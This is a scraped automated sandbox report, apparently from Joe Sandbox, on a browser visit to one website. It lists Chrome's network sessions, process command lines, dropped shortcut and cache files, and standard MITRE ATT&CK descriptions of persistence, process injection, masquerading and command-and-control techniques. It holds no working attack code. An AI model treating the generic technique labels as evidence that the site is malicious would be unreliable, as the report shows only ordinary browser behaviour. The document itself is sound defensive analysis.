Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.17	51726	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.17	51719	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.17	51720	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.17	51716	34.204.28.10	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.17	51725	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.17	51727	18.164.96.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.17	51718	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.17	51735	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.17	51736	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.17	51724	18.214.192.183	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.17	51731	195.244.31.10	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.17	51734	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.17	51737	142.250.65.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.17	51729	3.222.161.109	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.17	51732	64.202.112.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.17	51723	23.83.76.57	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.17	51740	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.17	51730	3.219.53.60	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.17	51743	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.17	51738	142.250.65.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.17	51739	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.17	51742	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.17	51749	34.96.105.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.17	51748	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.17	51750	23.21.169.14	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.17	51754	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.17	51752	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.17	51751	54.208.143.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.17	51756	3.227.173.151	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.17	51762	34.107.148.139	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.17	51765	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.17	51757	64.202.112.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.17	51758	54.236.215.164	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.17	51764	35.171.114.112	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.17	51763	54.236.184.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.17	51770	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.17	51772	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.17	51759	52.40.39.43	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.17	51777	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.17	51778	104.18.24.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.17	51782	34.107.148.139	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.17	51779	52.20.228.194	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.17	51783	54.236.184.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.17	51781	70.42.32.127	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.17	51786	172.64.196.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.17	51785	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.17	51794	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.17	51795	74.119.117.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.17	51790	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.17	51791	188.40.16.146	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.17	51798	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.17	51797	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.17	51799	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.17	51800	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.17	51802	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.17	51805	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.17	51809	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.17	51804	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.17	51806	23.40.179.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.17	51810	3.225.218.10	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.17	51803	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.17	51811	3.238.43.193	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.17	51812	35.207.24.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.17	51814	151.101.129.44	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.17	51807	35.214.244.198	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.17	51817	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.17	51818	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.17	51813	143.244.208.184	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.17	51820	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.17	51821	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.17	51822	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.17	51823	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.17	51819	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.17	51824	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.17	51827	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.17	51825	35.207.24.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.17	51828	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.17	51826	23.40.179.158	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.17	51832	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.17	51833	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.17	51831	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.17	51835	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.17	51836	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.17	51837	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.17	51834	143.244.208.184	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.17	51838	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.17	51839	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.17	51840	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.17	51841	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.17	51842	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.17	51843	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.17	51846	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.17	51858	34.120.202.204	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.17	51868	54.197.122.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.17	51869	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.17	51870	207.65.37.179	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.17	51872	3.233.183.24	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.17	51873	108.138.127.64	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.17	51874	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.17	51875	3.233.183.24	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.17	51877	108.138.127.64	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.17	51879	172.64.151.101	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.17	51878	54.197.122.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.17	51881	207.65.37.179	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.17	51880	108.138.127.64	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.17	51883	3.233.183.24	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.17	51884	54.208.143.66	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.17	51885	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.17	51887	3.233.183.24	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.17	51888	108.138.127.64	443

Timestamp	Bytes transferred	Direction	Data

Target ID:	0
Start time:	23:26:30
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://earnandexcel.com/
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	23:26:32
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:28:13
Start date:	11/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6624 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://earnandexcel.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 1000

Chrome Cache Entry: 1001

Chrome Cache Entry: 1002

Chrome Cache Entry: 1003

Chrome Cache Entry: 1004

Chrome Cache Entry: 1005

Chrome Cache Entry: 1006

Chrome Cache Entry: 1007

Chrome Cache Entry: 1008

Chrome Cache Entry: 1009

Chrome Cache Entry: 1010

